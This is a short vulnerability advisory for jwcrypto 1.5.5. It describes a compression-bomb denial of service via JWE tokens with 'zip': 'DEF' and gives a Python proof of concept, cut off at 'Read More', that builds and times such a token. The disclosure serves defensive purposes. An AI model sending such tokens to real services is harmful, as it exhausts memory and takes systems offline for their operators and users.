Affected version Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5 Description An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time. Poc “`python from jwcrypto import jwk, jwe from jwcrypto.common import json_encode, json_decode import time public_key = jwk.JWK() private_key = jwk.JWK.generate(kty='RSA', size=2048) public_key.import_key(**json_decode(private_key.export_public())) payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "zip": "DEF", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True) print("—–uncompress—–") print(len(enc)) begin = time.time() jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=private_key) print(time.time() – begin) print("—–compress—–") payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True)…Read More